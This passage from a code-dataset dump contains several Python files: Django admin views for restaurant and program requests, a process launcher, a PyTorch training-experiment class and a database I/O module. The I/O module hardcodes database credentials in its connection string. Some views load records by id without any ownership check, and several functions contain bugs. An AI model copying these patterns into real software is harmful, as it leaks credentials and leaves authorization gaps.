RequestReview.objects.get(id=id)\n\n needed_request.status = \"A\" # approved\n needed_request.admin_id = request.user\n needed_request.save()\n\n return redirect('/admin/requests')\n\n\n@login_required(login_url='/admin/login')\ndef deny_request(request, id):\n \"\"\"Deny request from restaurant/partner.\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n comment = request.POST.get(\"comment\", \"\")\n\n needed_request = ApplicationReview.objects.get(id=id)\n needed_request.status = \"R\"\n needed_request.comments = comment\n needed_request.admin_id = request.user\n needed_request.save()\n\n return redirect('/admin/requests')\n\n\n@login_required(login_url='/admin/login')\ndef program_profile(request, id):\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n needed_program = Program.objects.get(id=id)\n\n # Not approved yet\n if needed_program.review:\n return redirect(\"/admin/application/\" + str(needed_program.review.id) + \"/review\")\n\n all_docs = []\n all_notes = []\n result_contacts = []\n\n all_contacts = BasicUser.objects.filter(program=needed_program)\n for contact in all_contacts:\n result_contacts.append(UserClass.objects.get(user_object=contact))\n\n try:\n all_notes = needed_program.program_notes.all\n except:\n pass\n return render(request, 'admin/program-profile.html', {\"id\": id, \"program\": needed_program, \"doc_list\": all_docs,\n \"notes\": all_notes, \"contacts\": result_contacts})\n\n\n@login_required(login_url='/admin/login')\ndef add_program_note(request, id):\n \"\"\"Add new note to the program\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n note_name = request.POST.get(\"note_name\", \"\")\n note_content = request.POST.get(\"note_content\", \"\")\n\n needed_program = Program.objects.get(id=id)\n note_manager = NoteManager()\n new_note = note_manager.create_note(note_name=note_name, note_content=note_content, owner_type='PR',\n program_id=needed_program)\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n\n\n@login_required(login_url='/admin/login')\ndef add_program_contact(request, id):\n \"\"\"Add new user to the program\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n email = request.POST.get(\"email\", \"\")\n last_name = request.POST.get(\"last_name\", \"\")\n first_name = request.POST.get(\"first_name\", \"\")\n new_user = UserClass.objects.create_basic_user(email=email, password='', last_name=last_name,\n first_name=first_name, type='PR')\n needed_program = Program.objects.get(id=id)\n new_user.user_object.program = needed_program\n new_user.user_object.save()\n new_user.save()\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n\n\n@login_required(login_url='/admin/login')\ndef restaurant_profile(request, id):\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n needed_restaurant = Restaurant.objects.get(id=id)\n\n # Not approved yet\n if needed_restaurant.review:\n return redirect(\"/admin/application/\" + str(needed_restaurant.review.id) + \"/review\")\n\n all_notes = []\n all_docs = []\n result_contacts = []\n\n all_contacts = BasicUser.objects.filter(restaurant=needed_restaurant)\n for contact in all_contacts:\n result_contacts.append(UserClass.objects.get(user_object=contact))\n\n try:\n all_notes = needed_restaurant.restaurant_notes.all\n except:\n pass\n\n return render(request, 'admin/restaurant-profile.html', {\"id\": id, \"restaurant\": needed_restaurant,\n \"doc_list\": all_docs, \"notes\": all_notes,\n \"contacts\": result_contacts})\n\n\n@login_required(login_url='/admin/login')\ndef add_restaurant_note(request, id):\n \"\"\"Add new note to the restaurant\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n note_name = request.POST.get(\"note_name\", \"\")\n note_content = request.POST.get(\"note_content\", \"\")\n\n needed_restaurant = Restaurant.objects.get(id=id)\n note_manager = NoteManager()\n new_note = note_manager.create_note(note_name=note_name, note_content=note_content, owner_type='RE',\n restaurant_id=needed_restaurant)\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n\n\n@login_required(login_url='/admin/login')\ndef add_restaurant_contact(request, id):\n \"\"\"Add new user to the restaurant\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n email = request.POST.get(\"email\", \"\")\n last_name = request.POST.get(\"last_name\", \"\")\n first_name = request.POST.get(\"first_name\", \"\")\n new_user = UserClass.objects.create_basic_user(email=email, password='', last_name=last_name,\n first_name=first_name, type='RE')\n needed_restaurant = Restaurant.objects.get(id=id)\n new_user.user_object.restaurant = needed_restaurant\n new_user.user_object.save()\n new_user.save()\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n\n\n@login_required(login_url='/admin/login')\ndef pairings(request):\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n pairings = Pairings.objects.order_by('created_at')\n restaurants = Restaurant.objects.order_by('company_name')\n programs = Program.objects.order_by('program_name')\n return render(request, 'admin/pairings-page.html', context={\"pairings\": pairings, \"programs\": programs,\n \"restaurants\": restaurants,\n \"google_api_key\": GOOGLE_API_KEY})\n\n\n@login_required(login_url='/admin/login')\ndef pairings_add(request):\n \"\"\"Implements feature that allows admins to create pairings.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n if request.method == \"POST\":\n program_id = request.POST.get(\"program_id\", \"\")\n restaurant_id = request.POST.get(\"restaurant_id\", \"\")\n\n schedule = request.POST.getlist('schedule')\n start_time = request.POST.get('start_time')\n\n meals = request.POST.get('meals')\n\n # Create schedule model\n monday_start = tuesday_start = wednesday_start = None\n thursday_start = friday_start = saturday_start = sunday_start = None\n\n for day in schedule:\n if day == 'MO':\n monday_start = start_time\n elif day == 'TU':\n tuesday_start = start_time\n elif day == 'WE':\n wednesday_start = start_time\n elif day == 'TH':\n thursday_start = start_time\n elif day == 'FR':\n friday_start = start_time\n elif day == 'SA':\n saturday_start = start_time\n elif day == 'SU':\n sunday_start = start_time\n\n schedule_model = Schedule.objects.get_or_create(monday_start=monday_start,\n tuesday_start=tuesday_start,\n wednesday_start=wednesday_start,\n thursday_start=thursday_start,\n friday_start=friday_start,\n saturday_start=saturday_start,\n sunday_start=sunday_start)[0]\n schedule_model.save()\n\n pairings_manager = PairingsManager()\n\n if program_id != '-1' and program_id != -1 and restaurant_id != '-1' and restaurant_id != -1:\n program_instance = Program.objects.get(id=program_id)\n restaurant_instance = Restaurant.objects.get(id=restaurant_id)\n\n program_instance.schedule = schedule_model\n restaurant_instance.schedule = schedule_model\n program_instance.save()\n restaurant_instance.save()\n\n try:\n pairing = Pairings.objects.get(program_id=program_instance, restaurant_id=restaurant_instance)\n pairing.schedule_id = schedule_model\n pairing.meals = meals\n pairing.save()\n\n except Pairings.DoesNotExist:\n new_pairing = pairings_manager.create_pairing(program_id=program_instance,\n restaurant_id=restaurant_instance,\n schedule_id=schedule_model, meals=meals)\n\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n else:\n return redirect(\"/\")\n\n\n@login_required(login_url='/admin/login')\ndef pairings_delete(request):\n \"\"\"Implements feature that allows admins to delete pairings.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n pairing_id = request.POST.get(\"pairing_id\", \"\")\n pairing = Pairings.objects.get(id=pairing_id)\n pairing.delete()\n\n cur_path = request.path_info\n return HttpResponseRedirect(cur_path[:cur_path.rfind('/')])\n\n\nclass CreateApplication(LoginRequiredMixin, SelectRelatedMixin, generic.CreateView):\n \"\"\"This class implements functionality that allows users to create new applications.\"\"\"\n fields = (\"request_type\", )\n template = 'applications/request_form.html'\n\n\n@login_required(login_url='/login')\ndef requests_list(request):\n \"\"\"Implements view that allows users to view existing requests\"\"\"\n user = request.user\n\n if user.user_type == 'ADM':\n return redirect('/admin')\n\n requests = Request.objects.filter(user_id=user)\n\n return render(request, 'applications/requests.html', {'requests': requests})\n\n\n@login_required(login_url='/login')\ndef new_request(request):\n \"\"\"Implements view that allows users to create new requests\"\"\"\n user = request.user\n\n if user.user_type == 'ADM':\n return redirect('/admin')\n\n if request.method == \"POST\":\n\n request_type = request.POST.get('requestType')\n\n if request_type == 'SC' and user.user_object.type == 'PR':\n schedule = request.POST.getlist('schedule')\n start_time = request.POST.get('start_time')\n\n # Create schedule model\n monday_start = tuesday_start = wednesday_start = None\n thursday_start = friday_start = saturday_start = sunday_start = None\n\n for day in schedule:\n if day == 'MO':\n monday_start = start_time\n elif day == 'TU':\n tuesday_start = start_time\n elif day == 'WE':\n wednesday_start = start_time\n elif day == 'TH':\n thursday_start = start_time\n elif day == 'FR':\n friday_start = start_time\n elif day == 'SA':\n saturday_start = start_time\n elif day == 'SU':\n sunday_start = start_time\n\n schedule_model = Schedule.objects.get_or_create(monday_start=monday_start,\n tuesday_start=tuesday_start,\n wednesday_start=wednesday_start,\n thursday_start=thursday_start,\n friday_start=friday_start,\n saturday_start=saturday_start,\n sunday_start=sunday_start)[0]\n\n request_change = None\n else:\n schedule_model = None\n request_change = request.POST.get('request_change')\n\n request = Request.objects.get_or_create(user_id=user, schedule_id=schedule_model,\n request_change=request_change,\n current_request_review_id=None,\n request_type=request_type)[0]\n\n request_review = RequestReview.objects.get_or_create(request_id=request,\n status='P')[0]\n\n request.current_request_review_id = request_review\n request_review.save()\n request.save()\n\n # create new notification\n notification = Notification.objects.get_or_create(notification_type='R', is_dismissed=False,\n request=request)[0]\n notification.save()\n\n # sending emails for this request:\n email_vendor.email_admin_new_request(request)\n email_vendor.email_user_new_request(request)\n\n return redirect('/requests')\n else:\n # GET Request\n return render(request, 'applications/request_new.html')\n\n\n@login_required(login_url='/login')\ndef edit_request(request, id):\n \"\"\"Edit request with given id\n \"\"\"\n\n user = request.user\n\n if user.user_type == 'ADM':\n return redirect('/admin')\n\n if request.method == 'POST':\n if request.method == \"POST\":\n\n req = Request.objects.get(id=id)\n request_change = None\n\n if req.request_type == 'SC':\n schedule = request.POST.getlist('schedule')\n start_time = request.POST.get('start_time')\n\n # Create schedule model\n monday_start = tuesday_start = wednesday_start = None\n thursday_start = friday_start = saturday_start = sunday_start = None\n\n seen = {'SU': 0, 'MO': 0, 'TU': 0, 'WE': 0, 'TH': 0, 'FR': 0, 'SA': 0}\n for day in schedule:\n if day == 'MO':\n req.schedule_id.monday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'TU':\n req.schedule_id.tuesday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'WE':\n req.schedule_id.wednesday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'TH':\n req.schedule_id.thursday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'FR':\n req.schedule_id.friday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'SA':\n req.schedule_id.saturday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'SU':\n req.schedule_id.sunday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n\n count = 0\n for item in seen.items():\n if item[1] == 0:\n if count == 0:\n req.schedule_id.sunday_start = None\n if count == 1:\n req.schedule_id.monday_start = None\n if count == 2:\n req.schedule_id.tuesday_start = None\n if count == 3:\n req.schedule_id.wednesday_start = None\n if count == 4:\n req.schedule_id.thursday_start = None\n if count == 5:\n req.schedule_id.friday_start = None\n if count == 6:\n req.schedule_id.saturday_start = None\n count += 1\n\n req.schedule_id.save()\n else:\n request_change = request.POST.get('request_change')\n request.request_change = request_change\n\n req.save()\n\n return redirect('/requests')\n\n else:\n needed_request = Request.objects.get(id=id)\n needed_schedule = needed_request.schedule_id\n return render(request, 'applications/request_edit.html', context={\"schedule\": needed_schedule,\n \"id\": id, \"req\": needed_request})\n\n\nclass SingleRequest(generic.DetailView):\n \"\"\"Extends DetailView class by using Request as a model.\"\"\"\n model = Request\n\nclass ListSchoolRequests(generic.ListView):\n \"\"\"Implements ListView class by using Request as a model\"\"\"\n model = Request\n\n def get_queryset(self):\n \"\"\"Return requests where user is currently logged in user.\"\"\"\n return Request.objects.filter(user_id=self.request.user)\n\n\n@login_required(login_url='/admin/login')\ndef show_notifications(request):\n \"\"\"Implements view that displays list of available notifications to admins.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n new_notifications = Notification.objects.order_by('-created_at')\n return render(request, 'admin/notifications.html', context={'notifications': new_notifications})\n\n\n@login_required(login_url='/admin/login')\ndef visit_notification(request, id):\n \"\"\"Implements view that allows admins to view notification details.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n notification = Notification.objects.get(id=id)\n notification.is_dismissed = True\n\n notification.save()\n\n if notification.notification_type == 'A':\n application_id = notification.application.id\n url_path = '/admin/application/{}/review'.format(application_id)\n return redirect(url_path)\n elif notification.notification_type == 'R':\n request_id = notification.request.id\n url_path = '/admin/request/{}/review'.format(request_id)\n return redirect(url_path)\n else:\n user_id = notification.basic_user.id\n url_path = '/admin/user/{}/'.format(user_id)\n return redirect(url_path)\n\n\n@login_required(login_url='/admin/login')\ndef hover_notification(request, id):\n \"\"\"Implements feature that allows admins to hover notification.\"\"\"\n if request.method == \"POST\":\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n notification = Notification.objects.get(id=id)\n notification.is_dismissed = True\n notification.save()\n return JsonResponse({'value': True})\n else:\n return JsonResponse({'value': False})\n\n\n@login_required(login_url='/admin/login')\ndef dismiss_all_notifications(request):\n \"\"\"Implements feature that allows admins to dismiss notification\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n notifications = Notification.objects.order_by('-created_at')\n for notification in notifications.filter(is_dismissed=0):\n notification.is_dismissed = True\n notification.save()\n return render(request, 'admin/notifications.html', context={'notifications': notifications})\n","sub_path":"project/applications/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":55064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"309469230","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport importlib\nimport os\nimport signal\nimport sys\n\nfrom bndl.rmi.node import RMINode\n\n\ncontrol_node = None\n\n\ndef exit_handler(sig, frame):\n sys.exit(sig)\n\n\ndef main():\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n signal.signal(signal.SIGTERM, exit_handler)\n\n script, module, main, supervisor_address, *args = sys.argv\n\n global control_node\n control_node = RMINode(name='supervisor.child.%s' % os.getpid(),\n addresses=['127.0.0.1:0'],\n cluster=None,\n seeds=[supervisor_address])\n control_node.start_async().result()\n\n sys.argv = [script] + args\n module = importlib.import_module(module)\n main = getattr(module, main)\n main()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"bndl/run/child.py","file_name":"child.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"303096751","text":"import torch\nfrom torch.utils.data.dataset import Dataset\nfrom models.unet import UNet\nfrom utils.tiledimage import reshapeFlattenedTilesNumpy, TiledImage \nimport torch.nn as nn\nfrom torch.autograd.function import Function\nfrom torch.optim import Adam\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom PIL import Image\nimport pickle\nimport numpy as np\nimport os, shutil, sys\nfrom utils import dataset\n\n\n\nclass Experiment:\n\n def __init__(self, model,path=\"untitled_experiment\",description=\"\",device=None):\n if device:\n self.device = torch.device(device)\n else:\n if torch.cuda.is_available():\n self.device = torch.device(\"cuda\")\n else:\n self.device = torch.device(\"cpu\")\n\n self.model = model.to(self.device)\n self.optimizer = None\n self.criterion = None\n self.path = path\n self.loss = []\n self.accuracy = []\n self.iou = []\n self.prediction_transformation = None\n self.epoch = 0\n if not os.path.exists(self.path):\n os.makedirs(self.path)\n self.project_dir = f\"./{self.path}\"\n f = open(os.path.join(self.project_dir,\"description.txt\"),\"w\")\n f.write(description)\n f.close()\n\n def __str__(self):\n model_str = f\"model: {self.model.__str__()}\\n\"\n num_params = f\"parameters: {sum(p.numel() for p in self.model.parameters() if p.requires_grad)}\\n\"\n\n if self.optimizer:\n optim_str = f\"optimizer: {self.optimizer.__str__()}\\n\"\n else:\n optim_str = \"\"\n if self.criterion:\n criterion_str = f\"criterion: {self.criterion.__str__()}\\n\"\n else:\n criterion_str = \"\"\n\n return model_str + optim_str + criterion_str + num_params\n\n def saveModel(self,name):\n torch.save(self.model.state_dict(), os.path.join(self.path,name))\n\n def loadModel(self,name):\n self.model.load_state_dict(torch.load(os.path.join(self.path,name)))\n\n def addOptimizer(self, optimizer):\n '''\n add an optimizer for training the model\n Parameters:\n optimizer: a callable pytorch optimizer object.\n '''\n self.optimizer = optimizer\n \n def addPredictionActivation(self,func):\n '''\n add a transformation to be executed prior to prediction metrics being calculated\n Parameters:\n func: a callable function that will be executed on a numpy array\n '''\n self.prediction_transformation = func\n\n\n def setLearningRate(self,lr):\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = lr\n\n def addCriterion(self, criterion):\n '''\n add a criterion (loss function) to the model. \n criterion: a callable pytorch loss function. Requires a pytorch object, does not support\n the functional versions.\n '''\n self.criterion = criterion\n\n def setDevice(self, device):\n '''\n set the device to train on:\n device: a string that is either 'gpu' or 'cpu' to train\n '''\n if device == 'gpu' and not torch.cuda.is_available():\n raise ValueError(\"gpu is not is_available\")\n self.model = self.model.to(device)\n\n def train(self, data,valid_data=None, epochs=10, warm_start=True, verbose=True):\n '''\n Trains the model\n Parameters:\n data: a dataloader. Each batch of the data loader should be a dictionary containing 'input' and 'target'.\n input' should be data to input in the model. 'target' should be the ground truth and have the same size as the output\n of the model\n epochs: number of epochs to run for\n warm_start: if true, the parameters of the model are not reset before training. Otherwise the parameters of the model are randomized\n verbose: prints training information about training\n '''\n if self.optimizer == None:\n raise ValueError(\"No optimizer defined\")\n if self.criterion == None:\n raise ValueError(\"No criterion found\")\n if not warm_start:\n self.model.reset_params()\n self.clearMetrics()\n\n self.model.train()\n for epoch in range(epochs):\n running_loss = 0\n running_accuracy = 0\n running_IoU = 0\n for batch_idx, batch, in enumerate(data):\n input = batch['input'].float().to(self.device)\n target = batch['target'].float().to(self.device)\n\n self.optimizer.zero_grad()\n output = self.model(input)\n loss = self.criterion(output, target)\n loss.backward()\n self.optimizer.step()\n\n output = output.to(\"cpu\").detach().numpy()\n target = target.to(\"cpu\").detach().numpy()\n if self.prediction_transformation:\n output = self.prediction_transformation(output)\n accuracy = Experiment.compute_accuracy(output, target)\n iou = Experiment.compute_IoU(output, target)\n running_loss += loss.item()\n running_accuracy += accuracy\n running_IoU += iou\n if verbose:\n print('Train Epoch: {} Loss: {:.3f} Accuracy: {:.3f} IoU: {:.3f}'.format(self.epoch, running_loss/(batch_idx+1), running_accuracy/(batch_idx+1),running_IoU/(batch_idx+1)),end='\\r')\n \n if valid_data:\n valid_acc, valid_iou, valid_loss, _ = self.predict(valid_data)\n valid_str = f' Valid Loss: {valid_loss:.3f} Valid Accuracy: {valid_acc:.3f} Valid IOU: {valid_iou:.3f}'\n else: valid_str = ''\n if verbose:\n print('Train Epoch: {} Loss: {:.3f} Accuracy: {:.3f} IoU: {:.3f}{}'.format(self.epoch, running_loss/len(data), running_accuracy/len(data),running_IoU/len(data),valid_str))\n self.loss.append(running_loss/len(data))\n self.accuracy.append(running_accuracy/len(data))\n self.iou.append(running_IoU/len(data))\n self.epoch+=1\n\n def predict(self, dataloader):\n self.model.eval()\n \n running_accuracy = 0\n running_iou = 0\n running_loss = 0\n predictions = []\n for i, data in enumerate(dataloader):\n input = data['input'].float().to(self.device)\n target = data['target'].float().to(self.device)\n pred = self.model(input)\n loss = self.criterion(pred, target).item()\n \n pred = pred.to(\"cpu\").detach().numpy()\n input = input.to(\"cpu\").detach().numpy()\n target = target.to(\"cpu\").detach().numpy()\n\n if self.prediction_transformation:\n pred = self.prediction_transformation(pred)\n # Compute metrics\n accuracy = Experiment.compute_accuracy(pred,target)\n iou = Experiment.compute_IoU(pred, target)\n running_iou += iou\n running_accuracy += accuracy\n running_loss += loss\n predictions.append((input,target,pred))\n\n mean_accuracy = running_accuracy/len(dataloader)\n mean_iou = running_iou/len(dataloader)\n mean_loss = running_loss/len(dataloader)\n return mean_accuracy, mean_iou, mean_loss, predictions\n\n def predictTiles(self,data,final_layer='sigmoid'):\n stiched_images = []\n tensorToNumpy = lambda x : x.cpu().detach().numpy()\n for i in range(len(data)):\n print(f'Prediction {i+1}/{len(data)}',end='\\r')\n batched_data = Experiment.batchify(data[i]['input'],3)\n original_image_size = data[i]['input_size']\n\n predictions_list = []\n for batch in batched_data:\n batch = torch.tensor(batch,dtype=torch.float).to(self.device)\n #batch = batch/255\n batch.requires_grad = False\n out = self.model(batch)\n if final_layer=='sigmoid':\n out= torch.sigmoid(out)*255\n out = np.squeeze(tensorToNumpy(out).astype(np.uint8),axis=1)\n elif final_layer=='softmax':\n out = F.softmax(out,dim=1)[:,1]\n out = tensorToNumpy(out*255)\n else:\n raise ValueError('final layer not supported please use either sigmoid or softmax')\n predictions_list.append(out)\n\n predictions = np.concatenate(predictions_list,axis=0)\n predictions = reshapeFlattenedTilesNumpy(predictions,data[i]['input_tilegrid_shape']).astype(np.uint8)\n preds = predictions\n predictions = TiledImage.fromTiledNumpyArray(predictions,size=original_image_size)\n predictions.image = predictions.image.convert('L')\n stiched_images.append(predictions)\n return stiched_images,preds\n\n @staticmethod\n def batchify(data,batch_size):\n length = data.shape[0]//batch_size\n for i in range(length):\n idx = i*batch_size\n yield data[idx:idx+batch_size]\n\n def getProjectDir(self):\n return self.project_dir\n\n def saveTrainMetrics(self,outfile=\"train_metrics.csv\"):\n path = os.path.join(self.project_dir,outfile)\n file = open(path,'w')\n header = \"epoch,loss,accuracy,iou\\n\"\n file.write(header)\n length = len(self.accuracy)\n for i in range(length):\n file.write(f\"{i},{self.loss[i]},{self.accuracy[i]},{self.iou[i]}\\n\") \n file.close()\n\n def clearMetrics(self):\n self.loss = []\n self.accuracy = []\n self.iou = []\n self.epoch = 0\n\n def clean(self):\n for content in os.listdir(self.project_dir):\n file_path = os.path.join(self.project_dir,content)\n try:\n if os.path.isfile(file_path):\n os.remove(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n print(e)\n\n def save_model(self, path):\n print(\"Saving Model at {}\".format(path))\n torch.save(self.model.state_dict(), path)\n print('Model Saved')\n\n @staticmethod\n def compute_accuracy(predicted, actual, threshold=0.5):\n predicted, actual = predicted.flatten(), actual.flatten()\n if len(predicted) != len(actual):\n raise ValueError(\"The two vectors are not of equal size\")\n\n predicted = predicted >= threshold\n actual = actual >= threshold\n return np.sum(predicted == actual)/len(predicted)\n\n @staticmethod\n def compute_IoU(predicted,actual,threshold=0.5):\n '''\n computes the mean iou for all classes. Automatically compute the number of classes from\n the inputs\n '''\n predicted, actual = predicted.flatten(),actual.flatten()\n if len(predicted) != len(actual):\n raise ValueError(\"The two vectors are not of equal size\")\n\n predicted = predicted >= threshold\n actual = actual >= threshold\n\n\n classes = list(np.unique(actual).astype('int8'))\n number_of_classes = len(classes)\n iou = 0\n for i in classes:\n true_positive = np.sum(np.logical_and(actual==i,predicted==i)*1).astype('float64')\n false_positive = np.sum(np.logical_and(actual!=i,predicted==i)*1).astype('float64')\n false_negative = np.sum(np.logical_and(actual==i,predicted!=i)*1).astype('float64')\n intersection = true_positive\n union = (true_positive+false_positive+false_negative)\n iou += (intersection/union)\n\n epsilon = 1e-8 # for numerical stability\n iou_score = np.sum(iou)/number_of_classes\n return iou_score\n\n def save_experiement(self):\n pickle_out = open(os.path.join(self.project_dir,\"experiment.pkl\"),'w')\n pickle.dump(self,pickle_out)\n pickle_out.close()\n\n\nif __name__ == '__main__':\n model = UNet(num_classes=1)\n t_train = transforms.Compose([dataset.RandomCrop(64),\n dataset.Normalize(0.5), \n dataset.ToTensor()])\n train = MyDataset(filename=\"train.txt\",transform=t_train)\n dataloader_train = DataLoader(train,shuffle=True,num_workers=4)\n test = MyDataset(filename=\"test.txt\")\n\n exp1 = Experiment(model)\n exp1.clean()\n exp1.addCriterion(nn.MSELoss)\n exp1.addOptimizer(Adam,lr=.0001)\n exp1.train(dataloader_train,10)\n exp1.saveTrainMetrics()\n exp1.evaluate(dataloader_train)","sub_path":"utils/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":12806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"511109866","text":"from sqlalchemy import create_engine\nimport pyodbc\nimport urllib.parse\nfrom db_table.bitable import BeeEye\nfrom db_table.chtable import ClickHouse\nimport pandas as pd\nimport numpy as np\n\nelasticity_table = \"NK_SKU_result_elasticity\"\noptimal_price_table = \"NK_SKU_optimal_prices\"\nmae_table = \"NK_SKU_mae\"\n\n\ndef save_data_in_db(dataframe, mode, zzzTempTableName=None):\n \"Сохраняет функцию в таблицу в BeeEye\"\n server = '#'\n database = '#'\n username = '#'\n password = '#'\n conn_info = 'DRIVER={ODBC Driver 17 for SQL Server};SERVER=' + server + ';DATABASE=' + database + ';UID=' + username + ';PWD=' + password\n params = urllib.parse.quote_plus(conn_info)\n engine = create_engine(\"mssql+pymssql://spros:spros@#.#.#/#\")\n print(dataframe)\n # сохраняет/добавляет в таблицу с эластичностью\n if mode == 'elasticity':\n zzzTempTableName = elasticity_table\n # сохраняет/добавляет в таблицу с оптимальными ценами\n elif mode == 'optimal':\n zzzTempTableName = optimal_price_table\n # сохраняет/добавляет в таблицу с mae по всем товарами\n elif mode == 'error':\n zzzTempTableName = mae_table\n try:\n dataframe.to_sql(name=zzzTempTableName, con=engine, if_exists='replace', index=False, )\n except:\n raise Exception(\"Can't' save %s table\" % zzzTempTableName)\n\n\ndef get_data_from_db(hist_days, N=1, bi_features=None, ch_features=None, predict_SKU=False):\n \"Скачивает данные из Clickouse/BeeEye/... и объединяет их с помощью left join по SKU из BeeEye\"\n results = []\n cur_day = 0\n # выкачивает данные для указанных дней\n try:\n for day in hist_days:\n cur_day = day\n bi_result = BeeEye(day=day, N=N).get_result()\n ch_result = ClickHouse(day=day).get_result()\n # здесь делаем left join\n result = pd.merge(bi_result, ch_result, on='SKU', how='left')\n if day != 1:\n train_more0 = result[result['Sales'] > 0]\n train_0 = result[np.isnan(result['Sales'])].sample(n=train_more0.shape[0])\n result = train_more0.append(train_0)\n results.append(result)\n print(cur_day)\n # и делаем один датафрейм из всех\n return pd.concat(results, ignore_index=True)\n # в случае некоторых ошибок (например, MemoryError) это не помогает\n except Exception as ex:\n print('day ', cur_day)\n print('Exception: ', ex)\n if len(results) == 1:\n return results[-1]\n else:\n return pd.concat(results, ignore_index=True)\n","sub_path":"data_io_into_db.py","file_name":"data_io_into_db.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"448837950","text":"from planner.operators import *\nfrom ..conditions import *\nfrom ..oracle import *\n\nclass RegionInference(Inference):\n def __init__(self, object_name, region_name, oracle):\n super(RegionInference, self).__init__(arg_info(currentframe(), ignore=['self', 'oracle']))\n self.conditions = [\n RegionCondition(object_name, region_name, oracle)\n ]\n self.effects = {\n (object_name, self.inference): True,\n }\n\nclass Clean(RegionInference):\n inference = 'cleaned'\n\nclass Cook(RegionInference):\n inference = 'cooked'\n def __init__(self, object_name, region_name, oracle):\n super(self.__class__, self).__init__(object_name, region_name, oracle)\n self.conditions += [\n SubstateCondition(Substate({(object_name, 'cleaned'): True}))\n ]\n self.effects = {\n (object_name, 'cleaned'): False,\n }\n","sub_path":"ContextualPickPlace/python/pick-place/Modular-Planning-master/manipulation/operators/inferences.py","file_name":"inferences.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"445721974","text":"#!/usr/bin/python3\n\nimport sys\nimport csv\n\n# read movies file\nmovieFile = \"./movies.csv\"\nmovieList = {}\n\nwith open(movieFile, mode = 'r') as infile:\n reader = csv.reader(infile)\n for row in reader:\n movieId = row[0]\n movieList[movieId] = {}\n movieList[movieId][\"title\"] = row[1]\n movieList[movieId][\"genre\"] = row[2]\n\nuser_count = {}\nfor oneMovie in sys.stdin:\n oneMovie= oneMovie.strip()\n ratingInfo = oneMovie.split(\",\")\n try:\n #parse the userId, movieId, title, genres from dataset\n userId = ratingInfo[0]\n movieId = ratingInfo[1]\n movieTitle = movieList[movieId][\"title\"]\n movieGenre = movieList[movieId][\"genre\"]\n # Split genres into different genre\n # and Find each userID-movieGenre pair and the counts that this user watch this genre of movie\n genres = movieGenre.split(\"|\")\n rating = float(ratingInfo[2])\n for genre in genres:\n key =userId + '|'+ genre\n # store the count of user-movieGenre into dictionary\n if key not in user_count.keys():\n user_count[key] =0\n user_count[key] += 1\n \n except IndexError:\n continue\n except ValueError:\n continue\n pass\n \nfor Id in user_count.keys():\n # Need to put User Id first, Since I want to sort by user Id to\n # find all information of one user first in reducer\n userId, genre = Id.split(\"|\")\n print(\"%s\\t%s\\t%d\"%(userId, genre, user_count[Id]))\n \n","sub_path":"hw4/mycodes/userRatingMapper.py","file_name":"userRatingMapper.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631794587","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 27 15:49:38 2020\nAuthor: Adam Coxson, MPhys Undergrad, The University of Manchester\nProject: Evaluating hyperparameter optimisation techinques for an FNN and RNN\nModule: ann_random_search\nDependancies: neural_networks, network_train_and_test_module, training_function, testing_functions, data_preprocessing\n\nThis script performs random search upon some defined ranges of hyperparameters for either an FNN or an RNN. 